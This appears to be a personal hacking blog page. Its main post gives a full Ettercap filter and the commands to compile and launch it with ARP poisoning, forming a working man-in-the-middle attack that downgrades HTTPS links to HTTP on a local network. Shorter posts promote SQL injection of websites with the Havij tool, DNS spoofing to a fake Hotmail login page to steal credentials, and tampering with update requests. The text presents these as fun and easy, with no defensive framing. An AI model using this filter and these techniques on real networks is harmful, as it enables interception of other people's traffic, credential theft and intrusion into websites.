My new blog : http://rootatnasro.wordpress.com/:)

Downgrade HTTPS to HTTP :: Ettercap filters MITM

MITM :: MITM attacks are pretty easy to perform on a local network but the tools tend to crash a LOT. Cain (Windows) is a little more stable than Ettercap but I prefer it over Cain because it doesn’t spoof SSL that I consider too loud depending on the attack. NOTE: Ettercap runs better on text mode. Getting things done :: Here is the FILTER.

## # # This filter will substitute the word 'https' with 'http' on # both HTTP requests and responses. # # based on the discussion (and contained code) on forum thread # http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter-3.html # ## ########################## ## Zap Content Encoding ## ########################## if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("[HTTP Response Filter] Encoding zapped.\n"); } } ##################### ## Replace Content ## ##################### ## # Requests if (ip.proto == TCP && tcp.dst == 80) { # msg("[HTTP Response Filter] HTTP request seen.\n"); if (search(DECODED.data, "https")){ replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } if (search(DATA.data, "https")){ replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } } ## # Response if (ip.proto == TCP && tcp.src == 80) { # msg("[HTTP Response Filter] HTTP response seen.\n"); if (search(DECODED.data, "https")){ replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } if (search(DATA.data, "https")){ replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } }

Just place it in HTTPS.FILTER, then compile it using "etterfilter" with the command : etterfilter https.filter -o https.ef Then You good to go with : ettercap -T -q -F https.ef -M ARP:remote /GATEWAY/ /TARGET_IP/ .

HAVE FUN =)

Simple_Hack .. [VIDEO]

In this video i demo how can website_hacking be so easy ^^ ENJOY =)

-LINKS : Havij 1.10 -> http://www.4shared.com/file/Z-Hr0uCf/Havij_110.html

-MUSIC : Michael Jackson - Blood On The Dance Floor // Michael Jackson - Billie Jean :P

PwnOS .. [VIDEO]

PwnOS is a vulnerable by design OS .. and their is many ways you can hack it, in this video i show you my way :)

-LINKS : pWnOS image -> http://0dayclub.com/files/pWnOS%20v1.0.zip

-MUSIC : Sebastien Leger - Jaguar // Seether - Diseased

SQL injection .. [VIDEO]

Sql injection is well known attack that allows to access website DATABASE and/or read files ( LOAD_FILE () ) after exploiting php misconfig script .. you can get admin login infos to access the control panel and even more ^^

-LINKS :
Havij 1.10 -> http://www.4shared.com/file/Z-Hr0uCf/Havij_110.html

-MUSIC : Linkin Park - Breaking The Habits

Dns_Spoof .. [VIDEO]

Dns_spoof : is an attack that allow you to redirect http requests from local machines
Example :
Redirect www.hotmail.com To localhost (APACHE SERVER) and set fake page to steal login informations :D

-LINKS :
Backtrack4 -> http://www.backtrack-linux.org/downloads/
Virtualbox -> http://www.virtualbox.org/wiki/Downloads
-MUSIC : Linkin Park - Giving Up

PwnUpdates .. [VIDEO]

Again :P this is another video tutorial about how can you compromise local network systems by manupilating update requests ..

-LINKS :
Backtrack4 -> http://www.backtrack-linux.org/downloads/
Virtualbox -> http://www.virtualbox.org/wiki/Downloads
-MUSIC : Infected Mushroom - Cities Of The Future.